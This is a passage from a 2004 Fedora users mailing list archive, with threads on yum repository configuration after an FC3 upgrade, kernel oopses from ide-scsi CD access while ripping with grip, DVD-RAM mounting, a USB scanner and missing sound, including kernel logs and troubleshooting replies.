about yum, but I had never used it until my involvement with FC3 > > > test. I liked it. Joe average doesn't want a textual install/update > > > tool. Put a synaptic type front end on yum and it too would be a > > > winner. > > > > > > Ironically, yum on my machine is now broken because the repos > > > aren't pointing anywhere meaningful. > > > > the repos aren't pointing anywhere meaningful? Where did you get the yum > > package? The yum package (in combination with fedora-release) that comes > > with fc3 has working configuration files. > > Just a side note: yum wouldn't update fedora-release-3-rawhide to > fedora-release-3-8 for me, I had to do this manually. > > Nils > -- > Nils Philippsen / Red Hat / nphilipp at redhat.com > "They that can give up essential liberty to obtain a little temporary > safety deserve neither liberty nor safety." -- B. Franklin, 1759 > PGP fingerprint: C4A8 9474 5C4C ADE3 2B8F 656D 47D8 9B65 6951 3011 > -- Kim Lux (Mr.) Diesel Research Inc From lux at diesel-research.com Thu Nov 11 17:36:56 2004 From: lux at diesel-research.com (Kim Lux) Date: Thu, 11 Nov 2004 10:36:56 -0700 Subject: Why don't you guys like synaptic? In-Reply-To: <1100193468.3094.46.camel@binkley> References: <419385DA.4080105@ku.edu> <1100187829.4454.29.camel@localhost.localdomain> <4348.12.29.16.103.1100190751.squirrel@whooper.org> <1100191782.4055.5.camel@localhost.localdomain> <1100191684.3094.38.camel@binkley> <1100192446.4055.17.camel@localhost.localdomain> <1100192462.3094.41.camel@binkley> <1100192891.4055.24.camel@localhost.localdomain> <1100193021.3313.88.camel@douglas-furlong.firebox.com> <1100193201.4055.31.camel@localhost.localdomain> <1100193158.3094.44.camel@binkley> <1100193567.4055.34.camel@localhost.localdomain> <1100193468.3094.46.camel@binkley> Message-ID: <1100194616.4069.11.camel@localhost.localdomain> I know that. What is supposed to be in them ? On Thu, 2004-11-11 at 12:17 -0500, seth vidal wrote: > > /etc/yum.repos.d > > /etc/yum.repos.d/fedora-devel.repo > > /etc/yum.repos.d/fedora-updates-testing.repo > > /etc/yum.repos.d/fedora-updates.repo > > /etc/yum.repos.d/fedora.repo > > Notice these files. > > > those are the yum repo files. > -sv > > -- Kim Lux (Mr.) Diesel Research Inc From skvidal at phy.duke.edu Thu Nov 11 17:36:46 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Thu, 11 Nov 2004 12:36:46 -0500 Subject: Why don't you guys like synaptic? In-Reply-To: <1100194616.4069.11.camel@localhost.localdomain> References: <419385DA.4080105@ku.edu> <1100187829.4454.29.camel@localhost.localdomain> <4348.12.29.16.103.1100190751.squirrel@whooper.org> <1100191782.4055.5.camel@localhost.localdomain> <1100191684.3094.38.camel@binkley> <1100192446.4055.17.camel@localhost.localdomain> <1100192462.3094.41.camel@binkley> <1100192891.4055.24.camel@localhost.localdomain> <1100193021.3313.88.camel@douglas-furlong.firebox.com> <1100193201.4055.31.camel@localhost.localdomain> <1100193158.3094.44.camel@binkley> <1100193567.4055.34.camel@localhost.localdomain> <1100193468.3094.46.camel@binkley> <1100194616.4069.11.camel@localhost.localdomain> Message-ID: <1100194606.3094.50.camel@binkley> On Thu, 2004-11-11 at 10:36 -0700, Kim Lux wrote: > I know that. What is supposed to be in them ? > > > On Thu, 2004-11-11 at 12:17 -0500, seth vidal wrote: > > > /etc/yum.repos.d > > > /etc/yum.repos.d/fedora-devel.repo > > > /etc/yum.repos.d/fedora-updates-testing.repo > > > /etc/yum.repos.d/fedora-updates.repo > > > /etc/yum.repos.d/fedora.repo > > > > Notice these files. > > repository entries are in them. if you removed these files then that is why yum isn't working for you. if you didn't remove these files then you have them. what's the problem? -sv From lux at diesel-research.com Thu Nov 11 17:42:37 2004 From: lux at diesel-research.com (Kim Lux) Date: Thu, 11 Nov 2004 10:42:37 -0700 Subject: What is the status of ide-scsi these days ? (Can't shutdown) Message-ID: <1100194957.4069.18.camel@localhost.localdomain> Did Linus say that ide-scsi was an outdated and no longer needed "patch" ? Did the development team concur ? Have they acted on it ? Should ide/atapi cdrom access allow users to have full use (ripping, burning, reading) of their CDROM ? I am running ide-scsi to allow me to have some control of my cdrom. My syslogs are littered with "depreciated" comments. I've got a few error messages as well. When one runs xcdroast, for example, it urges the user to enable ide- scsi. So... is xcdroast wrong ? K3b seems to work OK without it, bug grip (cdparanoia) seems to have issues. Nov 11 10:28:26 localhost ntpd[3041]: synchronized to 128.208.109.7, stratum 3 Nov 11 10:28:26 localhost ntpd[3041]: kernel time sync disabled 0041 Nov 11 10:28:40 localhost kernel: hdc: irq timeout: status=0xd0 { Busy } Nov 11 10:28:40 localhost kernel: hdc: irq timeout: error=0xd0LastFailedSense 0x0d Nov 11 10:28:40 localhost kernel: hdc: status error: status=0x58 { DriveReady SeekComplete DataRequest } Nov 11 10:28:40 localhost kernel: hdc: status error: error=0x00 Nov 11 10:28:40 localhost kernel: hdc: drive not ready for command Nov 11 10:28:44 localhost kernel: hdc: status error: status=0x58 { DriveReady SeekComplete DataRequest } Nov 11 10:28:44 localhost kernel: hdc: status error: error=0x00 Nov 11 10:28:44 localhost kernel: hdc: drive not ready for command Nov 11 10:28:49 localhost kernel: hdc: status timeout: status=0xd8 { Busy } Nov 11 10:28:49 localhost kernel: hdc: status timeout: error=0xd8MediaChangeRequested LastFailedSense 0x0d Nov 11 10:28:49 localhost kernel: hdc: drive not ready for command Nov 11 10:28:49 localhost kernel: ide-scsi: No active request in idescsi_eh_reset Nov 11 10:28:49 localhost kernel: scsi: Device offlined - not ready after error recovery: host 0 channel 0 id 0 lun 0 Nov 11 10:28:49 localhost kernel: SCSI error : <0 0 0 0> return code = 0x2 Nov 11 10:28:49 localhost kernel: scsi0 (0:0): rejecting I/O to offline device Nov 11 10:28:49 localhost kernel: Unable to handle kernel NULL pointer dereference at virtual address 00000008 Nov 11 10:28:49 localhost kernel: printing eip: Nov 11 10:28:49 localhost kernel: 42a6b6f5 Nov 11 10:28:49 localhost kernel: *pde = 00004001 Nov 11 10:28:49 localhost kernel: Oops: 0000 [#1] Nov 11 10:28:49 localhost kernel: SMP Nov 11 10:28:49 localhost kernel: Modules linked in: parport_pc lp parport autofs4 i2c_dev i2c_core sunrpc ds ipt_REJECT ipt_state ip_conntrack iptable_filter ip_tables sr_mod ide_scsi scsi_mod dm_mod button battery ac md5 ipv6 ohci1394 ieee1394 yenta_socket joydev pcmcia_core uhci_hcd ehci_hcd hw_random snd_intel8x0 snd_ac97_codec snd_pcm_oss snd_mixer_oss snd_pcm snd_timer snd_page_alloc gameport snd_mpu401_uart snd_rawmidi snd_seq_device snd soundcore 8139too mii ndiswrapper(U) ext3 jbd Nov 11 10:28:49 localhost kernel: CPU: 0 Nov 11 10:28:49 localhost kernel: EIP: 0060:[<42a6b6f5>] Not tainted VLI Nov 11 10:28:49 localhost kernel: EFLAGS: 00010287 (2.6.9-1.667smp) Nov 11 10:28:49 localhost kernel: EIP is at sr_block_ioctl+0x1f/0x4a [sr_mod] Nov 11 10:28:49 localhost kernel: eax: 03abb880 ebx: 00002285 ecx: 0942b138 edx: 00000000 Nov 11 10:28:49 localhost kernel: esi: 3cff2b74 edi: 31187080 ebp: 03abb880 esp: 31178f58 Nov 11 10:28:49 localhost kernel: ds: 007b es: 007b ss: 0068 Nov 11 10:28:49 localhost kernel: Process grip (pid: 4068, threadinfo=31178000 task=314fa1b0) Nov 11 10:28:49 localhost kernel: Stack: 00002285 0942b138 42a6ee20 02213fb8 0942b138 31187080 3cff2b74 037e6260 Nov 11 10:28:49 localhost kernel: 3fbeac80 02311580 00002285 31187080 3d585090 0215ac3b 0942b138 021634ae Nov 11 10:28:49 localhost kernel: 0942b138 ffffffe7 00000001 f69542e8 00000000 021234b7 31178fc4 00000930 Nov 11 10:28:49 localhost kernel: Call Trace: Nov 11 10:28:49 localhost kernel: [<02213fb8>] blkdev_ioctl+0x34b/0x358 Nov 11 10:28:49 localhost kernel: [<0215ac3b>] block_ioctl+0x11/0x13 Nov 11 10:28:49 localhost kernel: [<021634ae>] sys_ioctl+0x211/0x253 Nov 11 10:28:49 localhost kernel: [<021234b7>] sys_gettimeofday +0x25/0x55 Nov 11 10:28:49 localhost kernel: Code: <3>Debug: sleeping function called from invalid context at include/linux/rwsem.h:43 Nov 11 10:28:49 localhost kernel: in_atomic():0[expected: 0], irqs_disabled():1 Nov 11 10:28:49 localhost kernel: [<0211dbf3>] __might_sleep+0x7d/0x8a Nov 11 10:28:49 localhost kernel: [<0214edd5>] rw_vm+0xe5/0x28c Nov 11 10:28:49 localhost kernel: [<42a6b6ca>] sr_block_release +0x61/0x6d [sr_mod] Nov 11 10:28:49 localhost kernel: [<42a6b6ca>] sr_block_release +0x61/0x6d [sr_mod] Nov 11 10:28:49 localhost kernel: [<0214f239>] get_user_size+0x30/0x57 Nov 11 10:28:49 localhost kernel: [<42a6b6ca>] sr_block_release +0x61/0x6d [sr_mod] Nov 11 10:28:49 localhost kernel: [<021061c4>] show_registers +0x115/0x16c Nov 11 10:28:49 localhost kernel: [<0210635b>] die+0xdb/0x16b Nov 11 10:28:49 localhost kernel: [<0212028c>] vprintk+0x136/0x14a Nov 11 10:28:49 localhost kernel: [<02119997>] do_page_fault +0x421/0x5e7 Nov 11 10:28:49 localhost kernel: [<42a6b6f5>] sr_block_ioctl+0x1f/0x4a [sr_mod] Nov 11 10:28:49 localhost kernel: [<021470b7>] handle_mm_fault +0xbd/0x175 Nov 11 10:28:49 localhost kernel: [<02119734>] do_page_fault +0x1be/0x5e7 Nov 11 10:28:49 localhost kernel: [<02119576>] do_page_fault+0x0/0x5e7 Nov 11 10:28:49 localhost kernel: [<42a6b6f5>] sr_block_ioctl+0x1f/0x4a [sr_mod] Nov 11 10:28:49 localhost kernel: [<02213fb8>] blkdev_ioctl+0x34b/0x358 Nov 11 10:28:49 localhost kernel: [<0215ac3b>] block_ioctl+0x11/0x13 Nov 11 10:28:49 localhost kernel: [<021634ae>] sys_ioctl+0x211/0x253 Nov 11 10:28:49 localhost kernel: [<021234b7>] sys_gettimeofday +0x25/0x55 Nov 11 10:28:49 localhost kernel: Bad EIP value. Nov 11 10:30:43 localhost ntpd[3041]: synchronized to 80.253.108.112, stratum 2 Nov 11 10:30:43 localhost ntpd[3041]: kernel time sync enabled 0001 -- Kim Lux (Mr.) Diesel Research Inc From lux at diesel-research.com Thu Nov 11 17:44:11 2004 From: lux at diesel-research.com (Kim Lux) Date: Thu, 11 Nov 2004 10:44:11 -0700 Subject: Why don't you guys like synaptic? In-Reply-To: <1100194606.3094.50.camel@binkley> References: <419385DA.4080105@ku.edu> <1100187829.4454.29.camel@localhost.localdomain> <4348.12.29.16.103.1100190751.squirrel@whooper.org> <1100191782.4055.5.camel@localhost.localdomain> <1100191684.3094.38.camel@binkley> <1100192446.4055.17.camel@localhost.localdomain> <1100192462.3094.41.camel@binkley> <1100192891.4055.24.camel@localhost.localdomain> <1100193021.3313.88.camel@douglas-furlong.firebox.com> <1100193201.4055.31.camel@localhost.localdomain> <1100193158.3094.44.camel@binkley> <1100193567.4055.34.camel@localhost.localdomain> <1100193468.3094.46.camel@binkley> <1100194616.4069.11.camel@localhost.localdomain> <1100194606.3094.50.camel@binkley> Message-ID: <1100195051.4069.20.camel@localhost.localdomain> I've got the files. I haven't removed them. yum isn't looking at an FC3-release repository. It is looking at FC3-development. On Thu, 2004-11-11 at 12:36 -0500, seth vidal wrote: > On Thu, 2004-11-11 at 10:36 -0700, Kim Lux wrote: > > I know that. What is supposed to be in them ? > > > > > > On Thu, 2004-11-11 at 12:17 -0500, seth vidal wrote: > > > > /etc/yum.repos.d > > > > /etc/yum.repos.d/fedora-devel.repo > > > > /etc/yum.repos.d/fedora-updates-testing.repo > > > > /etc/yum.repos.d/fedora-updates.repo > > > > /etc/yum.repos.d/fedora.repo > > > > > > Notice these files. > > > > > repository entries are in them. > > if you removed these files then that is why yum isn't working for you. > > if you didn't remove these files then you have them. > > what's the problem? > > -sv > > -- Kim Lux (Mr.) Diesel Research Inc From alan at redhat.com Thu Nov 11 17:49:48 2004 From: alan at redhat.com (Alan Cox) Date: Thu, 11 Nov 2004 12:49:48 -0500 Subject: What is the status of ide-scsi these days ? (Can't shutdown) In-Reply-To: <1100194957.4069.18.camel@localhost.localdomain> References: <1100194957.4069.18.camel@localhost.localdomain> Message-ID: <20041111174948.GA31302@devserv.devel.redhat.com> On Thu, Nov 11, 2004 at 10:42:37AM -0700, Kim Lux wrote: > Did Linus say that ide-scsi was an outdated and no longer needed > "patch" ? Its pretty much unrequired except for special devices, and it seems your specific personal CD ROM > Did the development team concur ? Have they acted on it ? Should > ide/atapi cdrom access allow users to have full use (ripping, burning, > reading) of their CDROM ? Yes - in 2.6 the SG_IO interface means you can do burning and the like directly on /dev/cdrom and it removed all the hell there used to be about which sg device is my cdrom and cleaned up many other things. > So... is xcdroast wrong ? K3b seems to work OK without it, bug grip > (cdparanoia) seems to have issues. xcdroast is wrong (mostly just out of date on the 2.6 change) > Nov 11 10:28:40 localhost kernel: hdc: irq timeout: status=0xd0 { Busy } > Nov 11 10:28:40 localhost kernel: hdc: status error: status=0x58 > { DriveReady SeekComplete DataRequest } > Nov 11 10:28:40 localhost kernel: hdc: status error: error=0x00 > Nov 11 10:28:40 localhost kernel: hdc: drive not ready for command Your CD drive went off into hyperspace > Nov 11 10:28:49 localhost kernel: hdc: drive not ready for command > Nov 11 10:28:49 localhost kernel: ide-scsi: No active request in > idescsi_eh_reset > Nov 11 10:28:49 localhost kernel: scsi: Device offlined - not ready > after error recovery: host 0 channel 0 id 0 lun 0 We eventually decided to declare it dead > Nov 11 10:28:49 localhost kernel: SCSI error : <0 0 0 0> return code = > 0x2 > Nov 11 10:28:49 localhost kernel: scsi0 (0:0): rejecting I/O to offline > device And that below is a bug > Nov 11 10:28:49 localhost kernel: Unable to handle kernel NULL pointer > dereference at virtual address 00000008 which shouldnt have occurred but was triggered by what appears to be broken hardware From lux at diesel-research.com Thu Nov 11 17:54:50 2004 From: lux at diesel-research.com (Kim Lux) Date: Thu, 11 Nov 2004 10:54:50 -0700 Subject: What is the status of ide-scsi these days ? (Can't shutdown) In-Reply-To: <20041111174948.GA31302@devserv.devel.redhat.com> References: <1100194957.4069.18.camel@localhost.localdomain> <20041111174948.GA31302@devserv.devel.redhat.com> Message-ID: <1100195690.3705.2.camel@localhost.localdomain> Thanks for your reply, Alan, and your tireless effort with Linux. What did you mean by: > And that below is a bug > > > Nov 11 10:28:49 localhost > kernel: Unable to handle kernel NULL pointer > > dereference at virtual address 00000008 > > which shouldnt have occurred but was triggered by what appears to be broken > hardware How should I proceed ? Do you want me to log this in bugzilla ? Under what ? kernel ? grip ? cdrom ? scsi-ide ? BTW: I can crash my machine at will with grip. -- Kim Lux (Mr.) Diesel Research Inc From lux at diesel-research.com Thu Nov 11 18:00:55 2004 From: lux at diesel-research.com (Kim Lux) Date: Thu, 11 Nov 2004 11:00:55 -0700 Subject: What is the status of ide-scsi these days ? (Can't shutdown) In-Reply-To: <1100195690.3705.2.camel@localhost.localdomain> References: <1100194957.4069.18.camel@localhost.localdomain> <20041111174948.GA31302@devserv.devel.redhat.com> <1100195690.3705.2.camel@localhost.localdomain> Message-ID: <1100196055.3705.7.camel@localhost.localdomain> Here is another one. This one was with the -1.667 non SMP kernel. Note the xml issues. I installed the updated xml packages this morning via up2date. Nov 11 10:48:47 localhost cups-config-daemon: cups-config-daemon startup succeeded Nov 11 10:48:47 localhost haldaemon: haldaemon startup succeeded Nov 11 10:48:48 localhost fstab-sync[3253]: removed all generated mount points Nov 11 10:48:49 localhost fstab-sync[3288]: added mount point /media/cdrecorder for /dev/scd0 Nov 11 10:49:13 localhost kernel: synaptics: using relaxed packet validation Nov 11 10:50:50 localhost kernel: hdc: irq timeout: status=0xd0 { Busy } Nov 11 10:50:50 localhost kernel: hdc: irq timeout: error=0xd0LastFailedSense 0x0d Nov 11 10:50:50 localhost kernel: hdc: status error: status=0x58 { DriveReady SeekComplete DataRequest } Nov 11 10:50:50 localhost kernel: hdc: status error: error=0x00 Nov 11 10:50:50 localhost kernel: hdc: drive not ready for command Nov 11 10:50:50 localhost kernel: hdc: status error: status=0x58 { DriveReady SeekComplete DataRequest } Nov 11 10:50:50 localhost kernel: hdc: status error: error=0x00 Nov 11 10:50:50 localhost kernel: hdc: drive not ready for command Nov 11 10:50:50 localhost kernel: hdc: status timeout: status=0xd8 { Busy } Nov 11 10:50:50 localhost kernel: hdc: status timeout: error=0xd8MediaChangeRequested LastFailedSense 0x0d Nov 11 10:50:50 localhost kernel: hdc: drive not ready for command Nov 11 10:50:50 localhost kernel: ide-scsi: No active request in idescsi_eh_reset Nov 11 10:50:51 localhost kernel: scsi: Device offlined - not ready after error recovery: host 0 channel 0 id 0 lun 0 Nov 11 10:50:51 localhost kernel: SCSI error : <0 0 0 0> return code = 0x2 Nov 11 10:50:51 localhost kernel: scsi0 (0:0): rejecting I/O to offline device Nov 11 10:50:52 localhost last message repeated 141 times Nov 11 10:50:53 localhost kernel: Unable to handle kernel NULL pointer dereference at virtual address 00000008 Nov 11 10:50:53 localhost kernel: printing eip: Nov 11 10:50:53 localhost kernel: 42b1d6f8 Nov 11 10:50:53 localhost kernel: *pde = 00000000 Nov 11 10:50:53 localhost kernel: Oops: 0000 [#1] Nov 11 10:50:53 localhost kernel: Modules linked in: parport_pc lp parport autofs4 i2c_dev i2c_core sunrpc ds ipt_REJECT ipt_state ip_conntrack iptable_filter ip_tables sr_mod ide_scsi scsi_mod dm_mod button battery ac md5 ipv6 joydev ohci1394 ieee1394 yenta_socket pcmcia_core uhci_hcd ehci_hcd hw_random snd_intel8x0 snd_ac97_codec snd_pcm_oss snd_mixer_oss snd_pcm snd_timer snd_page_alloc gameport snd_mpu401_uart snd_rawmidi snd_seq_device snd soundcore 8139too mii ndiswrapper(U) ext3 jbd Nov 11 10:50:53 localhost kernel: CPU: 0 Nov 11 10:50:53 localhost kernel: EIP: 0060:[<42b1d6f8>] Not tainted VLI Nov 11 10:50:53 localhost kernel: EFLAGS: 00010287 (2.6.9-1.667) Nov 11 10:50:53 localhost kernel: EIP is at sr_block_ioctl+0x22/0x4d [sr_mod] Nov 11 10:50:53 localhost kernel: eax: 39ed6c00 ebx: 00002285 ecx: 08daf9a0 edx: 00000000 Nov 11 10:50:53 localhost kernel: esi: 039b6114 edi: 32124480 ebp: 39ed6c00 esp: 32888f58 Nov 11 10:50:53 localhost kernel: ds: 007b es: 007b ss: 0068 Nov 11 10:50:53 localhost kernel: Process grip (pid: 3704, threadinfo=32888000 task=33332770) Nov 11 10:50:53 localhost kernel: Stack: 00002285 08daf9a0 42b21080 0224a8ca 08daf9a0 32124480 039b6114 41696080 Nov 11 10:50:53 localhost kernel: 00057000 02353a80 00002285 32124480 ffffffe7 0216f83e 08daf9a0 0217a147 Nov 11 10:50:53 localhost kernel: 08daf9a0 03a332c4 00000003 00000022 32888fc0 00000006 32888fc4 00000930 Nov 11 10:50:53 localhost kernel: Call Trace: Nov 11 10:50:53 localhost kernel: [<0224a8ca>] blkdev_ioctl+0x34e/0x35b Nov 11 10:50:53 localhost kernel: [<0216f83e>] block_ioctl+0x11/0x13 Nov 11 10:50:53 localhost kernel: [<0217a147>] sys_ioctl+0x296/0x337 Nov 11 10:50:53 localhost kernel: Code: <3>Debug: sleeping function called from invalid context at include/linux/rwsem.h:43 Nov 11 10:50:53 localhost kernel: in_atomic():0[expected: 0], irqs_disabled():1 Nov 11 10:50:53 localhost kernel: [<0211c8b9>] __might_sleep+0x7d/0x88 Nov 11 10:50:53 localhost kernel: [<0215e27e>] rw_vm+0x216/0x482 Nov 11 10:50:53 localhost kernel: [<42b1d6cd>] sr_block_release +0x65/0x6e [sr_mod] Nov 11 10:50:53 localhost kernel: [<42b1d6cd>] sr_block_release +0x65/0x6e [sr_mod] Nov 11 10:50:53 localhost kernel: [<0215e9d0>] get_user_size+0x30/0x57 Nov 11 10:50:53 localhost kernel: [<42b1d6cd>] sr_block_release +0x65/0x6e [sr_mod] Nov 11 10:50:53 localhost kernel: [<0210682b>] show_registers +0x109/0x15e Nov 11 10:50:53 localhost kernel: [<02106a2f>] die+0x14a/0x241 Nov 11 10:50:53 localhost kernel: [<0211937e>] do_page_fault+0x0/0x511 Nov 11 10:50:53 localhost kernel: [<0211937e>] do_page_fault+0x0/0x511 Nov 11 10:50:53 localhost kernel: [<02119733>] do_page_fault +0x3b5/0x511 Nov 11 10:50:53 localhost kernel: [<42b1d6f8>] sr_block_ioctl+0x22/0x4d [sr_mod] Nov 11 10:50:53 localhost kernel: [<02153c78>] handle_mm_fault +0xe4/0x21e Nov 11 10:50:53 localhost kernel: [<0211953a>] do_page_fault +0x1bc/0x511 Nov 11 10:50:53 localhost kernel: [<0211937e>] do_page_fault+0x0/0x511 Nov 11 10:50:53 localhost kernel: [<42b1d6f8>] sr_block_ioctl+0x22/0x4d [sr_mod] Nov 11 10:50:53 localhost kernel: [<0224a8ca>] blkdev_ioctl+0x34e/0x35b Nov 11 10:50:53 localhost kernel: [<0216f83e>] block_ioctl+0x11/0x13 Nov 11 10:50:53 localhost kernel: [<0217a147>] sys_ioctl+0x296/0x337 Nov 11 10:50:53 localhost kernel: Bad EIP value. Nov 11 10:52:09 localhost ntpd[2671]: synchronized to 128.208.109.7, stratum 3 Nov 11 10:54:20 localhost ntpd[2671]: synchronized to 80.253.108.112, stratum 2 Nov 11 10:54:20 localhost ntpd[2671]: kernel time sync disabled 0041 On Thu, 2004-11-11 at 10:54 -0700, Kim Lux wrote: > Thanks for your reply, Alan, and your tireless effort with Linux. > > What did you mean by: > > > And that below is a bug > > > > > Nov 11 10:28:49 localhost > > kernel: Unable to handle kernel NULL pointer > > > dereference at virtual address 00000008 > > > > which shouldnt have occurred but was triggered by what appears to be broken > > hardware > > How should I proceed ? Do you want me to log this in bugzilla ? Under > what ? kernel ? grip ? cdrom ? scsi-ide ? > > > BTW: I can crash my machine at will with grip. > > -- > Kim Lux (Mr.) Diesel Research Inc > -- Kim Lux (Mr.) Diesel Research Inc From david at fubar.dk Thu Nov 11 18:03:34 2004 From: david at fubar.dk (David Zeuthen) Date: Thu, 11 Nov 2004 13:03:34 -0500 Subject: DVD Ram Mounting Issue In-Reply-To: <20041111155941.GC4243@devserv.devel.redhat.com> References: <1099676455.3768.2.camel@apple.bananas.hopto.org> <1100118109.7649.3.camel@davidz> <20041110225920.GA30430@devserv.devel.redhat.com> <1100188677.4014.7.camel@davidz> <20041111155941.GC4243@devserv.devel.redhat.com> Message-ID: <1100196214.4014.15.camel@davidz> On Thu, 2004-11-11 at 10:59 -0500, Alan Cox wrote: > > It is my understanding that only DVD-RAM drives with DVD-RAM media will > > allow one to mount a filesystem rw (for optical drives) - is this > > correct? > > Correct, but if you were to say erase an ext2fs while its mounted you'll > crash the machine probably > So, in light of this discussion, I guess it makes sense to remove the 'ro' option from any entry in the /etc/fstab for optical drives. I will prepare an update of hal for FC3 so Si can actually use his DVD-RAM drive and media without dropping to a root shell. Btw, it is my (personal) view that (commandline) tools should refuse to do this on mounted filesystems (unless forced); yes, I realise this is a departure from the old UNIX way of "we let the (power) user screw up his machine instead of asking annoying questions", but maybe that is just me. Thanks, David From perbj at stanford.edu Thu Nov 11 18:08:34 2004 From: perbj at stanford.edu (Per Bjornsson) Date: Thu, 11 Nov 2004 10:08:34 -0800 Subject: Why don't you guys like synaptic? In-Reply-To: <1100195051.4069.20.camel@localhost.localdomain> References: <419385DA.4080105@ku.edu> <1100187829.4454.29.camel@localhost.localdomain> <4348.12.29.16.103.1100190751.squirrel@whooper.org> <1100191782.4055.5.camel@localhost.localdomain> <1100191684.3094.38.camel@binkley> <1100192446.4055.17.camel@localhost.localdomain> <1100192462.3094.41.camel@binkley> <1100192891.4055.24.camel@localhost.localdomain> <1100193021.3313.88.camel@douglas-furlong.firebox.com> <1100193201.4055.31.camel@localhost.localdomain> <1100193158.3094.44.camel@binkley> <1100193567.4055.34.camel@localhost.localdomain> <1100193468.3094.46.camel@binkley> <1100194616.4069.11.camel@localhost.localdomain> <1100194606.3094.50.camel@binkley> <1100195051.4069.20.camel@localhost.localdomain> Message-ID: <1100196514.3560.3.camel@localhost.localdomain> On Thu, 2004-11-11 at 10:44 -0700, Kim Lux wrote: > I've got the files. I haven't removed them. yum isn't looking at an > FC3-release repository. It is looking at FC3-development. Aha! I've got an idea: If you changed the /etc/yum.conf file when you had an older version of yum, the new version won't clobber your config file. Check if you have a file called /etc/yum.conf.rpmnew . If you do, move your old /etc/yum.conf somewhere else (say, yum.conf.old - you can of course just rm this file when you've got a new working config but keep it around for reference for now) and then mv /etc/yum.conf.rpmnew /etc/yum.conf Then it should start looking at the files in /etc/yum.repo.d/ and if you haven't changed those it will point to FC3 + updates. Good luck! Per -- Per Bjornsson Ph.D. Candidate, Department of Applied Physics, Stanford University From perbj at stanford.edu Thu Nov 11 17:03:05 2004 From: perbj at stanford.edu (Per Bjornsson) Date: Thu, 11 Nov 2004 09:03:05 -0800 Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: <1100187712.4454.26.camel@localhost.localdomain> References: <1100187712.4454.26.camel@localhost.localdomain> Message-ID: <1100192585.4376.8.camel@localhost.localdomain> On Thu, 2004-11-11 at 08:41 -0700, Kim Lux wrote: > I've got a suggestion: I think that Fedora should continue its "bleeding > edge" mentality and that it should strive to ship 2-3 releases a year. > However, I think there should be sub releases in between releases that > do nothing but make the previous release perfect. > > For example, I think the team should start working on a Fedora 3.1 > release that fixes CDROM access, sound and a few other issues that seem > to remain in this release. The goal should be a near perfect release > before the team focuses on Fedora Core 4. CDROM access will need to be > fixed prior to FC4, so why not gather that and other fixes and put them > in another release ? What does this gain you that installing the release and then installing the updates doesn't? Spending a lot of time rolling the release just sounds like a waste of time to me, especially for something with as fast a release schedule as Fedora. And rolling a release does take time, you can't just press a button and hope that it installs... /Per -- Per Bjornsson From relics_rage at shaw.ca Thu Nov 11 18:08:07 2004 From: relics_rage at shaw.ca (Andrew Couture) Date: Thu, 11 Nov 2004 11:08:07 -0700 Subject: hp6200c scanner Message-ID: <1100196487.3479.6.camel@p430desktop> Hello folks, I was running FC3T3 on my p3/500 dell inspiron laptop. The usb hp scanner worked slowly, but worked. Upgraded to release FC3, and now no joy. tail -f /var/log/messages shows the vendor, product and libusb:001:25(address). sane-find-scanner looks for a scanner and seems to hang, then I unplug the scanner usb cord, and the information pops up and my system. While scanner is plugged in, all other usb devices slow down. Any thoughts, hints or words of wisdom would be welcome andrew From ufo at linux.net.mk Thu Nov 11 18:13:50 2004 From: ufo at linux.net.mk (Arangel Angov) Date: Thu, 11 Nov 2004 19:13:50 +0100 Subject: FC3 Final: no sound In-Reply-To: <1100193125.4055.29.camel@localhost.localdomain> References: <419296B5.5000009@linux.net.mk> <1100127247.7040.0.camel@x1-6-00-0a-e6-c7-6f-d8> <9f50a7a00411110849fec3736@mail.gmail.com> <9f50a7a004111108503cd3798f@mail.gmail.com> <41939B9B.9050809@linux.net.mk> <1100193125.4055.29.camel@localhost.localdomain> Message-ID: <4193ABDE.70400@linux.net.mk> Kim Lux wrote: >Arangel: I wouldn't re install Linux. Someone gave me the upgrade >excuse when I had a sound problem. I re installed and it didn't make >any difference. > >I had a sound problem with a laptop with an intel-8x0m device. > >I added snd-intel8x0m to /etc/hotplug/blacklist and rebooted. > > Tried this too. No result. Still no sound. >I went to the KDE->ControlCenter->Sound & Multimedia-> Sound System- > > I don't use KDE, but that's irrelevant, the thing is, I don't understand how it could work on fc3rc1 with the same module and not work on fc3 final. :0 From lux at diesel-research.com Thu Nov 11 18:14:35 2004 From: lux at diesel-research.com (Kim Lux) Date: Thu, 11 Nov 2004 11:14:35 -0700 Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: <1100192585.4376.8.camel@localhost.localdomain> References: <1100187712.4454.26.camel@localhost.localdomain> <1100192585.4376.8.camel@localhost.localdomain> Message-ID: <1100196875.3705.13.camel@localhost.localdomain> It got me a week of developing with kdevelop ! What was I supposed to do ? Sit and do nothing ? I've got a project deadline going here. On Thu, 2004-11-11 at 09:03 -0800, Per Bjornsson wrote: > On Thu, 2004-11-11 at 08:41 -0700, Kim Lux wrote: > > > I've got a suggestion: I think that Fedora should continue its "bleeding > > edge" mentality and that it should strive to ship 2-3 releases a year. > > However, I think there should be sub releases in between releases that > > do nothing but make the previous release perfect. > > > > For example, I think the team should start working on a Fedora 3.1 > > release that fixes CDROM access, sound and a few other issues that seem > > to remain in this release. The goal should be a near perfect release > > before the team focuses on Fedora Core 4. CDROM access will need to be > > fixed prior to FC4, so why not gather that and other fixes and put them > > in another release ? > > What does this gain you that installing the release and then installing > the updates doesn't? Spending a lot of time rolling the release just > sounds like a waste of time to me, especially for something with as fast > a release schedule as Fedora. And rolling a release does take time, you > can't just press a button and hope that it installs... > > /Per > > -- > Per Bjornsson > > -- Kim Lux (Mr.) Diesel Research Inc From lux at diesel-research.com Thu Nov 11 18:15:02 2004 From: lux at diesel-research.com (Kim Lux) Date: Thu, 11 Nov 2004 11:15:02 -0700 Subject: Why don't you guys like synaptic? In-Reply-To: <1100196514.3560.3.camel@localhost.localdomain> References: <419385DA.4080105@ku.edu> <1100187829.4454.29.camel@localhost.localdomain> <4348.12.29.16.103.1100190751.squirrel@whooper.org> <1100191782.4055.5.camel@localhost.localdomain> <1100191684.3094.38.camel@binkley> <1100192446.4055.17.camel@localhost.localdomain> <1100192462.3094.41.camel@binkley> <1100192891.4055.24.camel@localhost.localdomain> <1100193021.3313.88.camel@douglas-furlong.firebox.com> <1100193201.4055.31.camel@localhost.localdomain> <1100193158.3094.44.camel@binkley> <1100193567.4055.34.camel@localhost.localdomain> <1100193468.3094.46.camel@binkley> <1100194616.4069.11.camel@localhost.localdomain> <1100194606.3094.50.camel@binkley> <1100195051.4069.20.camel@localhost.localdomain> <1100196514.3560.3.camel@localhost.localdomain> 